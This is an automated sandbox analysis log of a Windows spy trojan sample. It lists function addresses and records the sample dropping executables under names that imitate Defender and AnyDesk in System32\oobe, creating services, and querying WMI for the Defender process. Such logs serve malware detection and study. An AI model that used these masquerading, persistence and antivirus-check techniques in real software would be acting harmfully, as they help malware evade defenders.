Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785D350	0_2_00007FF6C785D350
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C787DBB4	0_2_00007FF6C787DBB4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785E3B0	0_2_00007FF6C785E3B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C786F2F4	0_2_00007FF6C786F2F4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C786FB14	0_2_00007FF6C786FB14
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785D240	0_2_00007FF6C785D240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7870A74	0_2_00007FF6C7870A74
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7875A90	0_2_00007FF6C7875A90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785DA90	0_2_00007FF6C785DA90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78832B4	0_2_00007FF6C78832B4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78719C8	0_2_00007FF6C78719C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785F9F0	0_2_00007FF6C785F9F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78781D8	0_2_00007FF6C78781D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78821FC	0_2_00007FF6C78821FC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7876220	0_2_00007FF6C7876220
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7857A20	0_2_00007FF6C7857A20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7889940	0_2_00007FF6C7889940
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7886940	0_2_00007FF6C7886940
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7860190	0_2_00007FF6C7860190
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E182090	5_2_00007FF76E182090
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1831E0	5_2_00007FF76E1831E0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E199744	5_2_00007FF76E199744
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18BF50	5_2_00007FF76E18BF50
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18C730	5_2_00007FF76E18C730
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A4F8C	5_2_00007FF76E1A4F8C
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E197FD0	5_2_00007FF76E197FD0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18B7D0	5_2_00007FF76E18B7D0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1977B0	5_2_00007FF76E1977B0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1B0FB4	5_2_00007FF76E1B0FB4
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E19AFA8	5_2_00007FF76E19AFA8
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18B810	5_2_00007FF76E18B810
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A5FF0	5_2_00007FF76E1A5FF0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18C820	5_2_00007FF76E18C820
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18C070	5_2_00007FF76E18C070
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A490C	5_2_00007FF76E1A490C
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A58E8	5_2_00007FF76E1A58E8
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1ABD60	5_2_00007FF76E1ABD60
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E197DC4	5_2_00007FF76E197DC4
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E189DD0	5_2_00007FF76E189DD0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E19C598	5_2_00007FF76E19C598
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E198D9C	5_2_00007FF76E198D9C
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1AADF8	5_2_00007FF76E1AADF8
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18B610	5_2_00007FF76E18B610
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1B1650	5_2_00007FF76E1B1650
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E183E20	5_2_00007FF76E183E20
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E19F678	5_2_00007FF76E19F678
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A86B4	5_2_00007FF76E1A86B4
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18B6E0	5_2_00007FF76E18B6E0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E19CB40	5_2_00007FF76E19CB40
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E199B7C	5_2_00007FF76E199B7C
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A9B94	5_2_00007FF76E1A9B94
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E197BC0	5_2_00007FF76E197BC0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18C3D0	5_2_00007FF76E18C3D0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18C410	5_2_00007FF76E18C410
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18B440	5_2_00007FF76E18B440
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E19D420	5_2_00007FF76E19D420
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A4478	5_2_00007FF76E1A4478
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18BC70	5_2_00007FF76E18BC70
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1AEC98	5_2_00007FF76E1AEC98
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18C500	5_2_00007FF76E18C500
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A0940	5_2_00007FF76E1A0940
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1AADF8	5_2_00007FF76E1AADF8
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A917C	5_2_00007FF76E1A917C
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1981D4	5_2_00007FF76E1981D4
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1979B4	5_2_00007FF76E1979B4
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18C230	5_2_00007FF76E18C230
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1B0290	5_2_00007FF76E1B0290
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1AD290	5_2_00007FF76E1AD290
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E18BA70	5_2_00007FF76E18BA70
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA951290	7_2_00007FF7AA951290
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA9590E0	7_2_00007FF7AA9590E0
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA957894	7_2_00007FF7AA957894
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA952130	7_2_00007FF7AA952130
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA95F688	7_2_00007FF7AA95F688
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDBAD68	25_2_00007FF71DDBAD68
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD82840	25_2_00007FF71DD82840
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD87A20	25_2_00007FF71DD87A20
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDAE95C	25_2_00007FF71DDAE95C
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA3510	25_2_00007FF71DDA3510
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD9F704	25_2_00007FF71DD9F704
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA06DC	25_2_00007FF71DDA06DC
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD886D0	25_2_00007FF71DD886D0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDBA6CC	25_2_00007FF71DDBA6CC
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8D600	25_2_00007FF71DD8D600
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8CDF0	25_2_00007FF71DD8CDF0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA1DCC	25_2_00007FF71DDA1DCC
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA1590	25_2_00007FF71DDA1590
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB4518	25_2_00007FF71DDB4518
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDAD534	25_2_00007FF71DDAD534
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA4D28	25_2_00007FF71DDA4D28
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD9F910	25_2_00007FF71DD9F910
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD9F0F0	25_2_00007FF71DD9F0F0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDAD0A0	25_2_00007FF71DDAD0A0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8D090	25_2_00007FF71DD8D090
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD92860	25_2_00007FF71DD92860
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDAF064	25_2_00007FF71DDAF064
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB4518	25_2_00007FF71DDB4518
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8E010	25_2_00007FF71DD8E010
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDAFFBC	25_2_00007FF71DDAFFBC
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8CF70	25_2_00007FF71DD8CF70
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD9FB14	25_2_00007FF71DD9FB14
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD9F2F4	25_2_00007FF71DD9F2F4
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB32B4	25_2_00007FF71DDB32B4
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA5A90	25_2_00007FF71DDA5A90
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8DA90	25_2_00007FF71DD8DA90
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA0A74	25_2_00007FF71DDA0A74
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8D240	25_2_00007FF71DD8D240
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA6220	25_2_00007FF71DDA6220
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB21FC	25_2_00007FF71DDB21FC
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA81D8	25_2_00007FF71DDA81D8
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8F9F0	25_2_00007FF71DD8F9F0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA19C8	25_2_00007FF71DDA19C8
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD90190	25_2_00007FF71DD90190
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB9940	25_2_00007FF71DDB9940
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB6940	25_2_00007FF71DDB6940
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8D920	25_2_00007FF71DD8D920
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8E130	25_2_00007FF71DD8E130
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD9F500	25_2_00007FF71DD9F500
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDA94A0	25_2_00007FF71DDA94A0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB5410	25_2_00007FF71DDB5410
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8E3B0	25_2_00007FF71DD8E3B0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDADBB4	25_2_00007FF71DDADBB4
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD8D350	25_2_00007FF71DD8D350
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB8348	25_2_00007FF71DDB8348

Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000000.2117381795.00007FF6C78AD000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnyDeskUpdateService.exeJ vs SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnyDeskUpdateService.exeJ vs SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoftWindowsDefenderCoreService.exeh$ vs SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Binary or memory string: OriginalFilenameAnyDeskUpdateService.exeJ vs SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Source: classification engine

Classification label: mal76.evad.winEXE@545/20@1/1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: CreateServiceW,	0_2_00007FF6C7890008
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: GetModuleFileNameW,GetLastError,OpenSCManagerW,GetLastError,CreateServiceW,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,RegisterServiceCtrlHandlerW,SetServiceStatus,CreateEventW,SetServiceStatus,CreateThread,GetLastError,SetServiceStatus,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6C7857A20
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: GetModuleFileNameW,GetLastError,OpenSCManagerW,GetLastError,CreateServiceW,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,RegisterServiceCtrlHandlerW,SetServiceStatus,CreateEventW,SetServiceStatus,CreateThread,GetLastError,SetServiceStatus,_invalid_parameter_noinfo_noreturn,SetServiceStatus,SetEvent,SetServiceStatus,	5_2_00007FF76E1831E0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: GetModuleFileNameW,GetLastError,OpenSCManagerW,GetLastError,CreateServiceW,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,RegisterServiceCtrlHandlerW,SetServiceStatus,CreateEventW,SetServiceStatus,CreateThread,GetLastError,SetServiceStatus,	25_2_00007FF71DD87A20
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: CreateServiceW,	25_2_00007FF71DDC0008

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Code function: 0_2_00007FF6C7852840 GetFileAttributesW,GetFileAttributesW,InternetCloseHandle,GetFileAttributesW,MoveFileW,GetFileAttributesW,GetFileAttributesW,ShellExecuteExW,GetLastError,WaitForSingleObject,CloseHandle,lstrcmpiW,GetCurrentProcessId,ShellExecuteExW,GetLastError,StartServiceCtrlDispatcherW,

0_2_00007FF6C7852840

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7852840 GetFileAttributesW,GetFileAttributesW,InternetCloseHandle,GetFileAttributesW,MoveFileW,GetFileAttributesW,GetFileAttributesW,ShellExecuteExW,GetLastError,WaitForSingleObject,CloseHandle,lstrcmpiW,GetCurrentProcessId,ShellExecuteExW,GetLastError,StartServiceCtrlDispatcherW,	0_2_00007FF6C7852840
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7890030 StartServiceCtrlDispatcherW,RegisterEventSourceW,	0_2_00007FF6C7890030
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E182090 GetCurrentProcessId,ShellExecuteExW,lstrcmpiW,StartServiceCtrlDispatcherW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	5_2_00007FF76E182090
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1B7030 StartServiceCtrlDispatcherW,	5_2_00007FF76E1B7030
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DD82840 GetFileAttributesW,GetFileAttributesW,InternetCloseHandle,GetFileAttributesW,MoveFileW,GetFileAttributesW,GetFileAttributesW,ShellExecuteExW,GetLastError,WaitForSingleObject,CloseHandle,lstrcmpiW,GetCurrentProcessId,ShellExecuteExW,GetLastError,StartServiceCtrlDispatcherW,	25_2_00007FF71DD82840
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDC0030 StartServiceCtrlDispatcherW,OpenSCManagerW,	25_2_00007FF71DDC0030

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AnyDeskShellIntegration[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5712:120:WilError_03

Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MsMpEng.exe")
